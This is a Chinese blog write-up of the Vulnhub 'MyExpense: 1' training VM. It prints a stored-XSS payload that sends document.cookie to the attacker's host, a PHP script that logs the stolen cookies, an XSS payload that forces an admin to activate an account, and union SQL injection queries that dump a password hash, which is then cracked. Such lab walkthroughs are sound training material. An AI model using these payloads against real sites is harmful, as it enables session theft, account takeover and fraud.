Vulnhub-MyExpense: 1-Writeup(完)



Vicl1fe ● 于 2019-12-16 21:13:12 发布 ● 1189 ◆ 收藏
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 本文链接: https://blog.csdn.net/qq_41918771/article/details/103568860
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C

vulnhub 专栏收录该内容

11 篇文章 0 订阅 订阅专栏 个人博客地址

http://www.darkerbox.com

欢迎大家学习交流

靶机网址:

https://www.vulnhub.com/entry/myexpense-1,405/

靶机知识点:

- nmap
- xss stored
- dirb
- union sql injection

靶机ip 192.168.34.157 kali ip 192.168.34.80

靶机描述

MyExpense是一个故意存在漏洞的Web应用程序,它使您可以训练如何检测和利用不同的Web漏洞。与更传统的"挑战"应用程序(允许您训练单个特定漏洞)不同,MyExpense包含一组漏洞,您需要利用这些漏洞来实现整个方案。 情境

您是"Samuel Lamotte",而您刚被公司"Furtura Business Informatique"开除。不幸的是,由于您匆忙离开,您没有时间验证您的上一次商务旅行的费用报告,该报告仍为750欧元,对应于飞往您的最后一个客户的返程航班。

由于担心您的前雇主可能不想为您退还该费用报告,因此您决定入侵名为"MyExpense"的内部应用程序来管理员工费用 报告。

这样您就可以在汽车上,公司停车场中并且连接到内部Wi-Fi(出发后钥匙仍未更改)。该应用程序受用户名/密码验证保 护,您希望管理员尚未修改或删除您的访问权限。

您的凭据是: samuel / fzghn4lw

挑战完成后,该标志将在与您的(samuel)帐户连接时显示在应用程序上。

信息收集



访问80端口,



dirb http://192.168.34.157/



访问robots.txt

| 、又件止) 编辑(止) 查看(⊻) 历史(≤) 予签(也) 上具(⊥) 帮助(H) | |
|---|-----------------|
| 192.168.34.157/robots.txt × + | |
| | .157/robots.txt |
| User-agent: * Disallow: /admin/admin.php | |

有一个admin/admin.php。访问看看

| 文件(E) 编辑(E) | 查看(V) 历史(S) 书 | 签(B) 工具(T) 帮助(H) | Ū. | | | | | | | | |
|----------------|---------------------|------------------|----------------|---------------------------|--------------------|---------------------|----------|-----------|--------|--------|------------------|
| 👔 Futura Busin | ness Informatique X | + | | | | | | | | | |
| (←) → C' | 企 | i) 192.168.34 | .157/admin/adm | in.php | | 器 … ☆ | | III\ | • | | 127G |
| | | | | | | | | | |] 移动 | 设备上的书签 |
| F | utura Busir | Home | | | | | | have an A | | | • J Login |
| | Informatiq | ue | | | | | | | | | |
| | | | | | | | | | | | |
| | Users | | | | | | | | | | |
| | Usernan | ne Firstname | Lastname | Email address | Role | Last Connection | Status | Action | | | |
| × 11 | rmasson | Rodrigue | Masson | rmasson@futuraBl.fr | Administrator | 2019-12-16 12:57:25 | Active | | | | |
| | vhoffmann | Victorine | Hoffmann | vhoffmann@futuraBl.fr | Collaborateur | 2019-12-16 12:57:25 | Active | | | | |
| 1/ | brenaud | Bernadette | Renaud | brenaud@Irtechnologies.fr | Collaborator | 2019-12-16 12:57:25 | Active | | | | |
| | broy | Baudouin | Roy | broy@futuraBl.fr | Collaborator | 2019-12-16 12:57:25 | Active | | | | |
| | nthomas | Ninette | Thomas | nthomas@futuraBl.fr | Collaborator | 2019-12-16 12:57:25 | Active | | | | |
| | pgervais | Placide | Gervais | pgervais@futuraBl.fr | Collaborator | 2019-12-16 12:57:25 | Active | | | | |
| XX | placombe | Philibert | Lacombe | placombe@futuraBl.fr | Collaborator | 2019-12-16 12:57:25 | Active | | | 10 | |
| | slamotte | Samuel | Lamotte | slamotte@futuraBl.fr | Collaborator | 2019-12-16 12:57:25 | Inactive | | | | |
| | triou | Thierry | Riou | triou@futuraBl.fr | Collaborator | 2019-12-16 12:57:25 | Active | | | 1 | |
| | afoulon | Aristide | Foulon | afoulon@futuraBl.fr | Financial approver | 2019-12-16 12:57:25 | Active | | | | |
| | pbaudouin | Paul | Baudouin | pbaudouin@futuraBl.fr | Financial approver | 2019-12-16 12:57:25 | Active | | | | |
| | mnguyen | Maximilien | Nguyen | mnguyen@futuraBl.fr | Manager | 2019-12-16 12:57:25 | Active | | | | |
| | mriviere | Manon | Riviere | mriviere@futuraBl.fr | Manager | 2019-12-16 12:57:25 | Active | | | | |
| | rlefrancois | Reynaud | Lefrancois | rlefrancois@futuraBl.fr | Manager | 2019-12-16 12:57:25 | Active | | | | |
| | | | | | | | | | .csdn. | net/qq | _419187 |

右上角有一个注册用户的链接,

| Futura Business | |
|--|-------------------------------|
| Informatique | Don't have an Account ? +JLog |
| Sorry, the application is for internal use only. If you are a new collaborator but your account is inactive, please contact your manager or the Futura Business inder Create an account Username : Paris Email address : Email address : Eirstname : | matique Manager Team. |

随便注册了一个,发现按钮不能点击,修改源码,删掉disabled后,注册用户。

| ••••• | | | | |
|-----------------|-----------|-----------------|---|---|
| Site : | | | | |
| Paris | | ~ | | |
| Email address : | | | | |
| 123456789@qq.co | om | | | |
| Firstname : | | | | |
| 123456 | | | | |
| Lastname : | | | | / |
| 132456 | | | | |
| | Sign up ! | | × | |
| | | https://blog.cs | | |



会发现这个用户会显示在admin/admin.php

| Jsers | | | | | | | |
|-------------|------------|----------|---------------------------|--------------------|--|----------|--------|
| Username | Firstname | Lastname | Email address | Role | Last Connection | Status | Action |
| rmasson | Rodrigue | Masson | rmasson@futuraBl.fr | Administrator | 2019-12-16 12:57:25 | Active | |
| vhoffmann | Victorine | Hoffmann | vhoffmann@futuraBl.fr | Collaborateur | 2019-12-16 12:57:25 | Active | |
| 123456789 🛩 | 123456 | 132456 | 123456789@qq.com | Collaborator | | Inactive | |
| brenaud | Bernadette | Renaud | brenaud@Irtechnologies.fr | Collaborator | 2019-12-16 12:57:25 | Active | |
| broy | Baudouin | Roy | broy@futuraBl.fr | Collaborator | 2019-12-16 12:57:25 | Active | |
| nthomas | Ninette | Thomas | nthomas@futuraBl.fr | Collaborator | 2019-12-16 12:57:25 | Active | |
| pgervais | Placide | Gervais | pgervais@futuraBl.fr | Collaborator | 2019-12-16 12:57:25 | Active | |
| placombe | Philibert | Lacombe | placombe@futuraBl.fr | Collaborator | 2019-12-16 12:57:25 | Active | |
| slamotte | Krs晶启就是情 | 景黒ぬ主人公 | slamotte@futuraBl.fr | Collaborator | 2019 税2017 2019 2019 2019 2019 2019 2019 2019 2019 | Inactive | |
| triou | Thierry | Riou | triou@futuraBl.fr | Collaborator | 2019-12-16 12:57:25 | Active | |
| afoulon | Aristide | Foulon | afoulon@futuraBl.fr | Financial approver | 2019-12-16 12:57:25 | Active | |
| pbaudouin | Paul | Baudouin | pbaudouin@futuraBl.fr | Financial approver | 2019-12-16 12:57:25 | Active | • |
| mnguyen | Maximilien | Nguyen | mnguyen@futuraBl.fr | Manager | 2019-12-16 12:57:25 https:// | Active | |

漏洞利用

这里第一个思路就是xss了。存储型xss。 我们的目标是激活那个账户。然后登录使用账号密码登录它。

自己构造xss语句和接收脚本

<script>document.write('<img src="http://192.168.34.80/1.php?cmd='+document.cookie+'" width=0 height=0 border=0
/>');</script>

```
<?php
$a = $_GET['cmd'];
file_put_contents("1.txt",$a."\n",FILE_APPEND);
?>
```

然后在注册页面插入payload。我插入到了firstname, 提交,

| Username : | |
|--------------------|--|
| 12345611 | |
| Password : | |
| ••••• | |
| Confirm Password : | |
| ••••• | |
| Site : | |
| Paris | |
| Email address : | |
| 12345611@qq.com | |
| Firstname : | |
| <script></script> | |

多了一个用户,并且firstname为空,说明我们语句执行成功了。

| Users | | | | | | | | | | | | |
|-----------|------------|----------|---------------------------|---------------|---------------------|--------------|--------|--|--|--|--|--|
| Username | Firstname | Lastname | Email address | Role | Last Connection | Status | Action | | | | | |
| rmasson | Rodrigue | Masson | rmasson@futuraBl.fr | Administrator | 2019-12-16 12:57:25 | Active | | | | | | |
| vhoffmann | Victorine | Hoffmann | vhoffmann@futuraBl.fr | Collaborateur | 2019-12-16 12:57:25 | Active | | | | | | |
| 12345611 | | 123456 | 12345611@qq.com | Collaborator | | Inactive | | | | | | |
| 123456789 | 123456 | 132456 | 123456789@qq.com | Collaborator | | Inactive | | | | | | |
| brenaud | Bernadette | Renaud | brenaud@lrtechnologies.fr | Collaborator | 2019-12-16 12:57:25 | Active | | | | | | |
| broy | Baudouin | Roy | broy@futuraBl.fr | Collaborator | 2019-12-16 12:57:25 | Active | | | | | | |
| | | | | | 2010 10 10 10 57 05 | biog.csdii.i | | | | | | |

然后看下kali。



我现在尝试使用管理员的cookie: PHPSESSID=lq01sl79rjuqhfcgo9tsb3eek1,去激活samuel用户,点击激活按钮,抓包修改 cookie。

| 1 | | | | | | | | | and the second second |
|---|----------|-----------|---------|----------------------|--------------------|---------------------|----------|--------------|-----------------------|
| | placombe | Philibert | Lacombe | placombe@futuraBl.fr | Collaborator | 2019-12-16 12:57:25 | Active | 点击 | |
| | slamotte | Samuel | Lamotte | slamotte@futuraBl.fr | Collaborator | 2019-12-16 12:57:25 | Inactive | | |
| | triou | Thierry | Riou | triou@futuraBl.fr | Collaborator | 2019-12-16 12:57:25 | Active | \mathbf{N} | |
| | afoulon | Arietido | Foulan | afaulan@futuraBl fr | Einancial approvor | 2040 42 42 42 57 25 | Activo | | |

| Forward Drop Intercept is on Action | Comment this item |
|--|-------------------|
| Raw Params Headers Hex | |
| GET /admin/admin.php?id=11&status=active HTTP/1.1 | |
| Host: 192.168.34.157 | |
| User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rx:69.0) Gecko/20100101 Firefox/69.0 | |
| Accept: text/html,application/xhtml+xml,application/xml;q=0.9.*/*;q=0.8 | |
| Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 | |
| Accept-Encoding: gzip, deflate | |
| Connection: close | |
| Referer: http://192.168.34.157/admin/admin.php | |
| Cookie: PHPSESSID=Iq01sI79rjuqhfcgo9tsb3eek1 | |
| Upgrade-Insecure-Requests: 1 | |
| https://blog.csdn | |

发送,得到提示:作为一个管理员,在同一时间只能被认证一次,从这里可以看出,后台有脚本在跑这个页面,并且使用的管理员账号,从这里可以看出上面那个cookie是管理员cookie。



从下图可以看出,脚本在定时(每隔30s)访问admin/admin.php页面



既然我们不能使用cookie去激活那个账号,那我们就构造xss语句,让后台脚本自动访问该页面时,由管理员自己激活那个账号。点击那个激活按钮后看到提交参数id=11&status=active。所以构造payload如下:

<script>document.write('');</script>

| Username : | |
|--|---------------------------------|
| 394681545 | |
| Password : | |
| ••••• | |
| Confirm Password : | |
| ••••• | |
| Site : | |
| Paris ~ | |
| Email address : | |
| 394681545@qq.com | |
| Firstname : | |
| dmin/admin.php?id=11&status=active"/>'); | |
| Lastname : | |
| 123123 | |
| Sign up ! | hime//stan sede action 140407 |
| | nttps://piog.csdn.net/qq_419187 |

成功的变为了激活状态,思路没错。

-> C' 🏠

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| | Futu Infc | ra Busines ormatique | S _{Home} | | | | | Don'i | i have an Accor |
|-----|--------------|-------------------------|-------------------|------------|---------------------------|--------------------|---------------------|----------|-----------------|
| | | Username | Firstname | Lastname | Email address | Role | Last Connection | Status | Action |
| | | rmasson | Rodrigue | Masson | rmasson@futuraBl.fr | Administrator | 2019-12-16 12:57:25 | Active | |
| | | vhoffmann | Victorine | Hoffmann | vhoffmann@futuraBl.fr | Collaborateur | 2019-12-16 12:57:25 | Active | |
| | | 12345611 | | 123456 | 12345611@qq.com | Collaborator | | Inactive | |
| 11 | | 123456789 | 123456 | 132456 | 123456789@qq.com | Collaborator | | Inactive | |
| | 1 | 394681545 | | 123123 | 394681545@qq.com | Collaborator | | Inactive | |
| 1 | | brenaud | Bernadette | Renaud | brenaud@Irtechnologies.fr | Collaborator | 2019-12-16 12:57:25 | Active | |
| | 1 | broy | Baudouin | Roy | broy@futuraBl.fr | Collaborator | 2019-12-16 12:57:25 | Active | |
| | | nthomas | Ninette | Thomas | nthomas@futuraBl.fr | Collaborator | 2019-12-16 12:57:25 | Active | |
| | | pgervais | Placide | Gervais | pgervais@futuraBl.fr | Collaborator | 2019-12-16 12:57:25 | Active | / |
| XI/ | 1 | placombe | Philibert | Lacombe | placombe@futuraBl.fr | Collaborator | 2019-12-16 12:57:25 | Active | |
| | -7- | slamotte | Samuel | Lamotte | slamotte@futuraBl.fr | Collaborator | 2019-12-16 12:57:25 | Active | |
| | | triou | Thierry | Riou | triou@futuraBl.fr | Collaborator | 2019-12-16 12:57:25 | Active | |
| | | afoulon | Aristide | Foulon | afoulon@futuraBl.fr | Financial approver | 2019-12-16 12:57:25 | Active | |
| | | pbaudouin | Paul | Baudouin | pbaudouin@futuraBl.fr | Financial approver | 2019-12-16 12:57:25 | Active | |
| | 6 | mnguyen | Maximilien | Nguyen | mnguyen@futuraBl.fr | Manager | 2019-12-16 12:57:25 | Active | |
| | | mriviere | Manon | Riviere | mriviere@futuraBl.fr | Manager | 2019-12-16 12:57:25 | Active | |
| | | rlefrancois | Reynaud | Lefrancois | rlefrancois@futuraBl.fr | Manager | 2019-12-16 12:57:25 | Active | |
| | | | | | | | | | |

然后使用靶机描述里提供的密码:fzghn4lw和admin.php提供的用户名:slamotte登录。

slamotte:fzghn4lw

| <u>۵</u> | (i) 🗝 🎽 | 192.168.34.157/logi | n.php | | ••• | ☆ |
|-----------------------------|-----------|---|---------------------------|--------|---------------------|--------------|
| tura Busines nformatique | πΟ | 您想让 Firefox 保存这个 的登录信息吗? slamotte のののののの の思示密码(出) | 个用于 http://192.168.34.157 | | | |
| | | 保存(<u>S</u>) | 不保存(D) 🗸 | 1. | 1/2 | |
| Log in | | | | | | |
| | | | Username : slamotte | | | |
| | | | Password : | | | |
| | | | ******* | | ĸ | |
| | | | | Log in | | |
| | C. | | | | hos /blog.csdinnet/ | (qq_41918771 |

| Futu | ra Business ormatique | e Expense reports Lamuel Lan | otte (slamotte | e) 🕒 |
|------|--|--|----------------|------|
| | Last messages | Neccare | | |
| | Manon Riviere (Rennes) Manager 2018-02-11 16:34:48 | Great ! Thank you. | | |
| / | Aristide Foulon (Paris) Financial approver 2018-02-11 14:01:45 | The status of your expense report will be " Sent for payment". | | |
| 1 | Ninette Thomas (Brest) Collaborator 2018-02-11 13:44:43 | How do I know if my expense report is reimbursed? | | |
| X | Maximilien Nguyen (Brest) Manager 2018-02-11 11:23:12 | Less time wasted than send excel file in a mail! | | |
| 7 | Paul Baudouin (Paris) Financial approver 2018-02-11 10:52:08 | MyExpense application allow collaborators and managers to report their expenses in order to be reimburesed as quick as possible. | | |
| | | | | |
| | Post a new message | | | |

发现了很多东西。看见这就是情景里所说的750欧元吧。点击提交,则会把这个单子提交给自己的经理和财务人员。全部同意后 才会得到flag。别问我怎么知道的(没有登录情况下访问首页index.php,有几句英文,翻译下就行)

| Itura Business nformatique | Expense reports | | ⊥ s | amuel Lamotte (slamotte | e) C • |
|-------------------------------|-----------------|---|------------|-------------------------|---------------|
| My Expense reports | - | | | | |
| Date | Amount | Comment | Status | Action | |
| 2018-02-15 | 750 € | Plane tickets, Cybersecurity project n°5423545, Toulouse. | Opened | 💼 🗹 | |
| New expense report | | | https:/ | /blog.csdn.nei/qq_41 | 918771 · |

| ing Expense reports | | | | |
|---------------------|--------|---|-----------|--------|
| Date | Amount | Comment | Status | Action |
| 2018-02-15 | 750 € | Plane tickets, Cybersecurity project n°5423545, Toulouse. | Submitted | |
| | | | | |

这个用户的经理是Manon

| Username : | |
|---------------|---------------------------------------|
| slamotte | ← → |
| Role : | |
| Collaborator | |
| Site : | |
| Rennes | |
| Manager : | |
| Manon Riviere | · · · · · · · · · · · · · · · · · · · |
| | https://blog.csdn.net/qq_41918771 |

这里研究了一段时间,发现下面存在xss漏洞

| 1 | 2018-02-11 11:23:12 | | |
|---|--|--|-----------------------------------|
| X | Paul Baudouin (Paris) Financial approver 2018-02-11 10:52:08 | MyExpense application allow collaborators and managers to report their expenses in order to be reimbures | ed as quick as possible. |
| F | Post a new message | | |
| | | Your message : | |
| | | | |
| | | Post your message | https://blog.csdn.nei/qq_41918771 |

这里我还是获取cookie,这里我用的是2.php。

<script>document.write('<img src="http://192.168.34.80/2.php?cmd='+document.cookie+'" width=0 height=0 border=0
/>');</script>

| nhp</th <th></th> | |
|--|-----------------------------------|
| se - s GET['cmd']. | |
| <pre>file put contents("2.txt",\$a."</pre> | ".date('H:i:s')."\n",FILE APPEND) |
| ?> | |

提交



| initiated by / bute | message | |
|--|---|--|
| Samuel Lamotte (Rennes) Collaborator 2019-12-16 13:41:16 | | |
| Manon Riviere (Rennes) Manager 2018-02-11 16:34:48 | Great ! Thank you. | |
| Aristide Foulon (Paris) Financial approver 2018-02-11 14:01:45 | The status of your expense report will be " Sent for payment". | |
| Ninette Thomas (Brest) Collaborator 2018-02-11 13:44:43 | How do I know if my expense report is reimbursed? https://blog.csdn.net/qq_4191877 | |

此时看我的kali,发现多了好几个cookie。

一个一个尝试后,会发现有一个是管理员rmasson,还有一个是经理mriviere,还有一个是pgervais,还有一个是nthomas。我这里是这样的。不知道是不是随机用户的cookie。应该不是

cookie是随机的,你们一个一个尝试下

我登录到了经理的cookie。看到了我们的那个750的费用报告

| | Expense reports Rer | nnes | | 经理则 | L Manon Riviere (i |
|---|---------------------|--------|---|-----------|--------------------|
| | | | | 1/ / | |
| P | orts | | | | |
| | Collaborator's name | Amount | Comment | Status | Action |
| | Samuel Lamotte | 750€ | Plane tickets, Cybersecurity project n°5423545, Toulouse. | Submitted | × 🗸 |
| | State | | | 我们提示的750 | 的由语单 |
| | | | | | |
| | | | | | |
| | | | | | |
| | Amount | | Comment | Status | Action |

点击审对勾,就是审核通过了。

| The expense rep | ort is validated successfully | 4 | | | | | |
|-----------------|-------------------------------|---------------------|--------|---------|--------|--------|----------------|
| | Collaborators Expense | se reports | 1.1 | | | | |
| | Date | Collaborator's name | Amount | Comment | Status | Action | |
| 1/ | | | | | | | 12316181 |
| M | | | | | | | 153354 |
| | My Expense reports | | | | | | et/qq_41918771 |

| Home Expense reports | Rennes | Amanon Riviere (mriviere) | C+ Logout |
|----------------------|-------------------------------|---------------------------|-----------|
| | | | |
| your profile | | | |
| | Your professional information | | |
| | Username : | | |
| | mriviere | | |
| | Role : | | AN HUKB |
| | Manager | | |
| | Site : | 100 | |
| | Rennes | 18 | 0.000 |
| | Manager : | | |
| | Paul Baudouin | | Y LUK |
| | | https://blog.csdn.net/qq | 41918771 |

再次回到刚刚的用户,发现已经成为验证的状态。

| Itura Business nformatique | e Expense reports | | L Samuel | Lamotte (slamotte) (|
|-------------------------------|-------------------|---|-----------------|-----------------------------|
| My Expense reports | - | | | |
| Date | Amount | Comment | Status | Action |
| 2018-02-15 | 750 € | Plane tickets, Cybersecurity project n°5423545, Toulouse. | Validated | |
| | | | https://blog.cs | sdn.net/qa_41918771 |

只要这个状态成为Sent for payment应该就表示完成这个挑战了

| Initiated By / Date | Message |
|--|--|
| Samuel Lamotte (Rennes) Collaborator 2019-12-16 13:41:16 | |
| Manon Riviere (Rennes) Manager 2018-02-11 16:34:48 | Great ! Thank you. |
| Aristide Foulon (Paris) Financial approver 2018-02-11 14:01:45 | The status of your expense report will be " Sent for payment". |
| Ninette Thomas (Brest) Collaborator 2018-02-11 13:44:43 | How do I know if my expense report is reimbursed? |
| Maximilien Nguyen (Brest) Manager 2018-02-11 11:23:12 | Less time wasted than send excel file in a mail! |
| Paul Baudouin (Paris) Financial approver 2018-02-11 10:52:08 | MyExpense application allow collaborators and managers to report their expenses in order to be reimburesed as quick as possible. |

经过靶机作者给的hint。接下来来获取财务人员的账号密码

现在使用经理cookie登录到经理账号: Manon,访问导航栏的Rennes页面,此时看见提交参数为id=2.

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| Renne | s (8 Rue des lilas, 35000 Rennes Firstname | s) Lastname | Email address | Role | |
| Renne | s (8 Rue des lilas, 35000 Rennes Firstname Manon | s) Lastname Riviere | Email address mriviere@futuraBI.fr | Role Manager | |
| Renne | s (8 Rue des lilas, 35000 Rennes Firstname Manon Bernadette | s) Lastname Riviere Renaud | Email address mriviere@futuraBl.fr brenaud@Irtechnologies.fr | Role Manager Collaborator | |

测试注入

2' and 1=1;#



发现没有数据,修改payload去掉单引号

id=2 and 1=1;#

| 📸 百度 Ġ Google | 192.168.34.90/site.php?id=2%20a e 🚱 0xPwn 🛄 python 🛄 C语 | nd%201=1;# 《 言 📙 前端 📙 web渗透 📙 PWN 📙 這 | 响 📙 学习网站 📙 CTF 📙 windows 🔒 I | Inux Ⅰ, 工具 Ⅰ, 其它 Ⅰ, 文章 | S O (|
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| 1 | Firstname | Lastname | Email address | Role | |
| / | Firstname Manon | Lastname Riviere | Email address mriviere@futuraBl.fr | Role Manager | |
| | Firstname Manon Bernadette | Lastname Riviere Renaud | Email address mriviere@futuraBI.fr brenaud@irtechnologies.fr | Role Manager Collaborator | |

发现页面返回正常,说明这里不是数字型注入。

修改payload为

id=2 and 1=2;#

| COR | 下安全 192.168.34.90/site.php?id=2%20ar | d%201=2;# 🔫 | | 🖈 🗓 🗣 php 🕵 🔘 🧕 |
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| 1 | Firstname | Lastname | Email address | Role |
| | | | | https://blog.csdn.net/qq_41918771 |

发现1=1正常输出,而1=2没有数据,则判断这里存在注入点。

使用order by 确定字段数为4.

id=2 order by 4

使用联合查询爆表

id=2 union select 1,2,3,4;#

| ① 不安全 192.168 | .34.90/site.php?id | =2%20union% | 620select%201,2 | 3,4;# 🔶 | | | | | | | OK | ☆ | ¶, 2 | php | |
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| | Firstname Manon Bernadette | T | Lastr Rivi Ren | ame ere aud | | En mrivie brenaud | nail addre: ere@futura @Irtechno | ss IBI.fr logies.fr | | C | Role Manag | e Jer ator | | | |
| | Firstname Manon Bernadette Samuel | | Lastr Rivi Ren Lam | ame ere aud otte | | En mrivie brenaud slamo | nail addres ere@futura @Irtechno otte@futura | ss IBI.fr logies.fr aBI.fr | | C | Role Manag ollabor | e ler ator ator | | | |

id=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database(
)),3,4;#

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| Firstname Manon Bernadette | Lastname Riviere Renaud | Email address mriviere@futuraBl.fr brenaud@lrtechnologies.fr | Role Manager Collaborator | |
| Firstname Manon Bernadette Samuel | Lastname Riviere Renaud Lamotte | Email address mriviere@futuraBl.fr brenaud@lrtechnologies.fr slamotte@futuraBl.fr | Role Manager Collaborator Collaborator | |

使用联合查询爆字段

看到user表,爆user表字段

id=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='user'),3
,4;#

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使用联合查询爆数据

发现username,password字段 接下来直接指定用户名为财务人员的账号,查询他的密码。

id=2 union select 1,(select password from user where username='pbaudouin'),3,4;#

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| Firstname | Lastname | Email address | Role |
| Firstname | Lastname | Email address | Role |
| Manon | Riviere | mriviere@futuraBl.fr | Manager |
| Firstname | Lastname | Email address | Role |
| Manon | Riviere | mriviere@futuraBl.fr | Manager |
| Bernadette | Renaud | brenaud@Irtechnologies.fr | Collaborator |
| Firstname | Lastname | Email address | Role |
| Manon | Riviere | mriviere@futuraBl.fr | Manager |
| Bernadette | Renaud | brenaud@Irtechnologies.fr | Collaborator |
| Samuel | Lamotte | slamotte@futuraBl.fr | Collaborator |
| Firstname | Lastname | Email address | Role |
| Manon | Riviere | mriviere@futuraBl.fr | Manager |
| Bernadette | Renaud | brenaud@Irtechnologies.fr | Collaborator |
| Samuel | Lamotte | slamotte@futuraBl.fr | Collaborator |
| 64202ddd5fdea4cc5c2f856efef36e1a | 1 | 3 | 4 |

发现密码为 64202ddd5fdea4cc5c2f856efef36e1a , md5解密

| 密文: | 64202ddd5fdea4 | 4cc5c2f856efef36 | e1a | r ======== | | |
|-----------------|----------------|------------------|-----|-----------------|------------------|--|
| 奕型: | 目初 | 查询 | 加密 | · [<u>帝則</u>] | | |
| 查询结果: HackMe | | | | | | |
| | | | | | | |
| | | | | | https://blog.cod | |

密码为HackMe。 接下来登录财务人员的账号

pbaudouin:HackMe



| ormatique | e | Expense reports Paris | Rennes Brest | | ⊥ P | aul Baudouin (pbaudouin) |
|-------------|---------------|-----------------------|--------------|---|------------|--------------------------|
| Collaborato | ors Expense r | reports | - / | | / | |
| 1 | Date | Collaborator's name | Amount | Comment | Status | Action |
| 201 | 8-02-15 | Samuel Lamotte | 750€ | Plane tickets, Cybersecurity project n°5423545, Toulouse. | Validated | |

选择yes。

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orators Expense reports

| Date | Collaborator's name | Amount | Comment | Status | Action |
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| 2018-02-15 | Samuel Lamotte | 750 € | Plane tickets, Cybersecurity project n°5423545, Toulouse. | Validated | × € |

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再重新用**slamotte**用户登录,看到flag。

and the second second

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